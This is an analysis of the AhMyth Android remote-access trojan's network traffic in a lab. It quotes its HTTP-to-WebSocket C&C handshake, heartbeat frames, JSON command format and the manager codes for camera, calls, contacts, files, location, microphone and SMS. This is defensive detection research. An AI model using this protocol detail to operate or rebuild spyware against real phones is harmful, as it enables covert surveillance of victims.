Page 9. Dissecting a RAT: Analysis of AhMyth
The goal of each of our RAT experiments is to use the RAT ourselves and to execute every possible action while capturing all traffic and storing all the logs. These RAT captures are functional and were used in real attacks.
The AhMyth RAT is a software package that contains the controller software and builder software to build an APK. It was executed on a Windows 7 virtual machine with Ubuntu 20.04 as a host. The Android Application Package (APK) built by the RAT builder was installed in the Android virtual emulator called Genymotion with Android version 8.
While performing different actions on the RAT controller (e.g. upload a file, get GPS location, monitor files, etc.), we captured the network traffic on the Android virtual emulator. The network traffic on the phone was captured using the Emergency VPN service of the Civilsphere Project.
The details about the network traffic capture are:
-
IP address of the controller: 147.32.83.230
-
Private IP address of the phone: 10.8.0.57
-
UTC time of the infection in the capture: 2020-09-02 14:38:53 UTС
Initial Communication and Infection Once the APK was installed in the phone, it directly tries to establish a TCP connection with the command and control (C&C) server. To connect, the phone uses the IP address and the port of the controller specified in the APK. In our case, the IP address of the controller is 147.32.83.230 and the port is 8000/TCP. The controller IP 147.32.83.230 is the IP address of the Windows 7 virtual machine in our lab computer, meaning that the IP address is not connected to any indicator of compromise (IoC).
Figure 1. The establishment of the first connection over TCP between the controller and the infected phone with AhMyth RAT.
First packet sent from the phone with a SYN flag was retransmitted 3 times. Afterwards, the connection over TCP was established successfully.
The phone sends its first packet with a HTTP request. Figure 2 shows the content of this packet with a GET request.
GET /socket.io/?model=unknown&EIO=3&id=3ad69a3e675271f&transport=polling&release=8.0.0&manf=unknown HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.0.0; unknown Build/OPR6.170623.017)
Host: 147.32.83.230:8000
Connection: Keep-Alive
Accept-Encoding: gzip
Figure 2. HTTP request sent from the infected phone to the C&C. The requested URI is socket.io/ and it is followed by the parameters model=unknown, EIO=3, id=3ad69a3e675271f, transport=polling, release=8.0.0 and manf=unknown.
The phone requests from the C&C the URL /socket.io/ with parameters after ‘?’ character:
model=unknown
EIO=3
id=3ad69a3e675271f
transport=polling
release=8.0.0
manf=unknown
By using this request we can tell that both the infected phone and the controller should support Socket.IO. Socket.IO is a JavaScript library that enables real-time, bidirectional and event-based communication. According to the WebSocket documentation, the establishment of WebSocket connection goes as follows:
-
Socket.IO creates a long-polling connection using xhr-polling.
-
Once this is established, it upgrades to the best connection method available.
Therefore, the first HTTP request parameter transport is polling. Also, it sends the parameter EIO=3 that defines the version of Engine.IO. Engine.IO is the implementation of transport-based cross-browser/cross-device bi-directional communication layer for Socket.IO. Other parameters, i.e. model = unknown, id=3ad69a3e675271f, release=8.0.0| and manf=unknown`, are the parameters of the phone. The C&C retrieves the phone parameters, stores them (Figure 3, Figure 4), and displays them in the C&C interface (Figure 5).
Figure 3. The function IO.sockets.on that receives the HTTP request from the phone. The C&C parses phone parameters to the function addVictim.
Figure 4. Function addVictim of the C&C that receives the parameters of the phone and stores them in the dictionary victimList.
Figure 5. The C&C interface main window of AhMyth. It shows the connected infected victim with the parameters sent in the first HTTP request.
The C&C responds to the HTTP request of the phone by sending a HTTP 200 OK success status response. Figure 6 shows the HTTP 200 OK packet content: HTTP header and the packet data.
HTTP/1.1 200 OK`l
Content-Type: application/octet-stream`
Content-Length: 101
Access-Control-Allow-Origin: *
Set-Cookie: io=_8fjxxqKwE8mBfs9AAAA
Date: Wed, 02 Sep 2020 14:39:03 GMT
Connection: keep-alive
ÿ0{"sid":"_8fjxxqKwE8mBfs9AAAA","upgrades" ["websocket"],"pingInterval":25000,"pingTimeout":60000}
Figure 6. The HTTP 200 OK success status response of the C&C to the infected phone. It sends the parameter to upgrade HTTP connection on WebSocket connection with the specified parameters ‘Session ID’, ‘pingInterval’, ‘pingTimeout’.
According to the Engine.io documentation, the HTTP OK response in Figure 6 is so called an ‘open’ packet that consists of packet type ID and JSON-encoded handshake data:
Packet type ID: 0
JSON handshake data: {"sid":"_8fjxxqKwE8mBfs9AAAA",
"upgrades":["websocket"],
"pingInterval":25000,"pingTimeout":60000}`
Packet type ID 0 in front of the JSON-encoded handshake data defines the ‘open’ packet type.
After the ‘open’ packet was sent, the phone simultaneously established another connection with the C&C. It is important to notice that the phone started and established the second connection, even though the first connection is not finished yet. Figure 7 shows the first connection from the phone to the C&C 10.8.0.117 port 47782/TCP > 147.32.83.230 port 8000/TCP (packet number 43577), and the second established connection 10.8.0.117 port 47786/TCP > 147.32.83.230 port 8000/TCP (packet number 43628).
Figure 7. Establishment of the second connection from the phone to the C&C after receiving the ‘open’ packet with the handshake data for the WebSocket protocol.
After the second connection between the phone and the C&C was established, the phone uses it to send an HTTP request with the GET method (Figure 8).
GET /socket.io/?release=8.0.0&model=unknown&EIO=3&id=3ad69a3e675271f&transport=websocket&manf=unknown&sid=_8fjxxqKwE8mBfs9AAAA HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: Q4qVb6OrvSx+hglxu41Evw==
Sec-WebSocket-Version: 13
Host: 147.32.83.230:8000
Accept-Encoding: gzip
User-Agent: okhttp/3.5.0
Figure 8. Content of the HTTP request sent from the phone to the C&C as part of the second connection. This HTTP request aims to change the HTTP protocol on WebSocket protocol.
The infected phone requests to change the protocol to WebSocket with the HTTP request shown in Figure 8. The requested WebSocket version is 13 and the randomly generated Sec-WebSocket-Key is ’Q4qVb6OrvSx+hglxu41Evw==’ . The parameters sent after the URI /socket.io/ and ‘?’ character are:
release=8.0.0
model=unknown
EIO=3
id=3ad69a3e675271f
transport=websocket
manf=unknown
sid=_8fjxxqKwE8mBfs9AAAA
Such parameters as release, model, EIO, manf and id are the same as in the ‘open’ packet shown in Figure 6. The requested parameter ‘transport’ is ‘websocket’, meaning the phone wants to switch protocols from HTTP to WebSocket. The C&C agrees to switch HTTP protocol to the WebSocket protocol and sends an HTTP response code 101 as shown in Figure 9.
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: WpFJ/UYIcTGSRrYNEys8cKRUw/Y=
Figure 9. HTTP 101 code response sent from the C&C in the request of the infected phone to change the communication protocol from HTTP to WebSocket.
WebSocket connection. Heartbeat. After the C&C agrees to switch the protocol to WebSocket, the following exchange of packets should be performed according to the Socket.io protocol documentation :
WebSocket packets:
< 2probe
=> Engine.IO probe request
> 3probe
=> Engine.IO probe response
> 5
=> Engine.IO "upgrade" packet type
> 42["hello"]
=> 4: Engine.IO "message" packet type,
2: Socket.IO
"EVENT" packet type,
[“hello”]: content
> 42["world"]
=> 4: Engine.IO "message" packet type,
2: Socket.IO "EVENT" packet type,
[“hello”]: content
... after a while without message
> 2
=> Engine.IO "ping" packet type
< 3
=> Engine.IO "pong" packet type
> 1
=> Engine.IO "close" packet type
Figure 10. Supposed sequence of WebSocket packets that should be exchanged between the client and the server after the 101 code response, already sent to change the HTTP protocol to WebSocket.
The phone and the C&C follow the WebSocket frames sequence shown in Figure 10:
The infected phone sends a probe request with unmasked data ‘2probe’ (Figure 11).
The C&C sends a probe response with ‘3probe’ (Figure 12).
The phone sends an ‘upgrade’ packet with unmasked data ‘5’ (Figure 13).
The phone sends a ‘ping’ packet with unmasked data ‘2’ (Figure 14).
The C&C sends a ‘pong’ packet with data ‘3’ (Figure 15).
The C&C and the phone continue exchanging ‘ping’ and ‘pong’ packets while waiting for the C&C command (Figure 16). The ‘ping’ and ‘pong’ are sent every 25 seconds, as it was setup in the handshake data in Figure.
Figure 16. The exchange of ‘ping’ and ‘pong’ packets between the phone and the C&C with the setup interval of 25 seconds.
This process of establishing the connection between the phone and the C&C and switching protocols from HTTP to WebSocket was happening every time that the phone got disconnected from the C&C.
All the commands sent from the C&C were in plain text using the JSON-encoded format. The phone responded to the C&C command with plain text but masked by the WebSocket protocol. Figure 17 shows an example of the C&C command ‘Camera List’ that aims to return the list of cameras in the phone.
42["order",.{"order":"x0000ca","extra":"camList"}]
Figure 17. The C&C command ‘Camera List’ that aims to retrieve the list of cameras in the phone.
The structure of this packet can be explained as:
Data Meaning
4
Engine.IO "message" packet type
2
Socket.IO "EVENT" packet type
["order",{"order":"x0000ca","extra":"camList"}] C&C JSON-encoded command
The value of the key ‘order’ defines the command manager that will deal with the command given in the key ’extra’. In the case of the packet in Figure 17, the order:x0000ca stands for the Camera Manager, and the extra:camList means the Camera List command to perform in the Camera Manager.
The phone answers to the C&C command CameraList with the cameras available in the phone. The data sent from the phone is in plain text but masked by the WebSocket protocol (Figure 19). The data can be easily unmasked, because the packet contains a WebSocket masking-key that was used to mask the data. Wireshark representation of WebSocket packet is key provided in Figure 20. The Masking-Key is e2e7b2dc. According to RFC, the formula to mask and unmask the WebSocket data goes as follows:
j = i MOD 4
transformed-octet-i = original-octet-i XOR masking-key-octet-j
Figure 18. RFC formula to mask and unmask the data of the packet sent using WebSocket protocol.
EÁº@@*
u S溪@m¨kgÛZjÔ¿
ýöTÖ¸ 7ÍÀ5¦f÷~´CÙhÚIËq´ÌwãE'úIËq´ã~´NÙhó'ÔAÛn´lò5ëÃ'øAÕ`´CäOÖq´lò4ë}ÅX
Figure 19. The packet sent from the phone to the C&C as response to the list camera command. The data inside the packet is masked using the WebSocket protocol.
Wireshark performs the unmasking of WebSocket data automatically and puts the data in the key Line-based text data. The unmasked data is shown in Figure 21.
Figure 20. Wireshark representation of a phone response on the C&C command Camera List that aims to retrieve the list of cameras in the phone.
42["x0000ca",{"camList":true,"list":[{"name":"Back","id":0},{"name":"Front","id":1}]}]
Figure 21. Unmasked data of the phone reply on the C&C command Camera Manager.
The structure of the unmasked packet data in Figure 21 is similar to the packet structure in Figure 17:
Data Meaning
4
Engine.IO "message" packet type
2
Socket.IO "EVENT" packet type
["order",.{"order":"x0000ca","extra":"camList"}] C&C JSON-encoded command
Overall, the C&C can control the following managers of the victim’s device:
Name Meaning
x0000ca = Camera Manager
x0000cl = Call Manager
x0000cn = Contacts Manager
x0000fm = Files Manager
x0000lm = Location Manager
x0000mc = Microphone Manager
x0000sm = SMS Manager
It means that the C&C has a control over camera, calls, contacts, files, location, microphone and SMS.
In the legacy version of AhMyth released by the Application's creator Ahmed Al "AhMyth" Hajri, was acting very unstable. It kept disconnecting and connecting very often. This ended up generating a lot of connections between the phone and the C&C that are short (compared with other RATs that usually have one long connection). The longest connection established between the Legacy version of the AhMyth C&C Server and the phone is 1808.6655 seconds long (approximately 30 minutes while the phone is in operation, but dies as soon as the phone is in sleep mode).
Figure 22. All the connections between the infected phone and the C&C. The longest connection has a duration of 1808.6655 seconds, which is approximately 30 minutes.
However in recent versions of the RAT released by the project's reviver and maintainer "Morsmalleo", we can see the duration of the connection between the phone and the AhMyth C&C Server is quite long (approximately 1 hour while the phone is in sleep mode, and 3 hours (max timed) while the phone is in operation) compared to the Legacy Version (approximately 30 minutes while the phone is in operation, but dies as soon as the phone is in sleep mode)
In this blog we have analyzed the network traffic from a phone infected with AhMyth RAT. We were able to decode its connection and found the distinctive features of WebSocket protocol and a heartbeat. The AhMyth RAT seems to be complex in its communication protocol but it doesn’t seem to be sophisticated in its work.
To summarise, the details found in the network traffic of this RAT are:
The phone connects directly to the IP address and ports specified in APK (default port and custom port).
The protocol used for the connection is switched from the HTTP toWebSocket.
There are several simultaneous connections established between the phone and the C&C over port 8000/TCP.
There is a heartbeat between the controller and the phone over port 8000/TCP. ‘Ping’ and ‘pong’ packets are sent every 25 seconds, according to the parameters setup in the beginning of the connection.
Packets sent from the C&C are in the plain text and JSON-encoded.
Packets sent from the phone are in the plain text, JSON-encoded but masked by the WebSocket protocol. This effectively hides their content from human eyes unless decoded.
Big thank you to the author(s) of all this information over at stratosphereips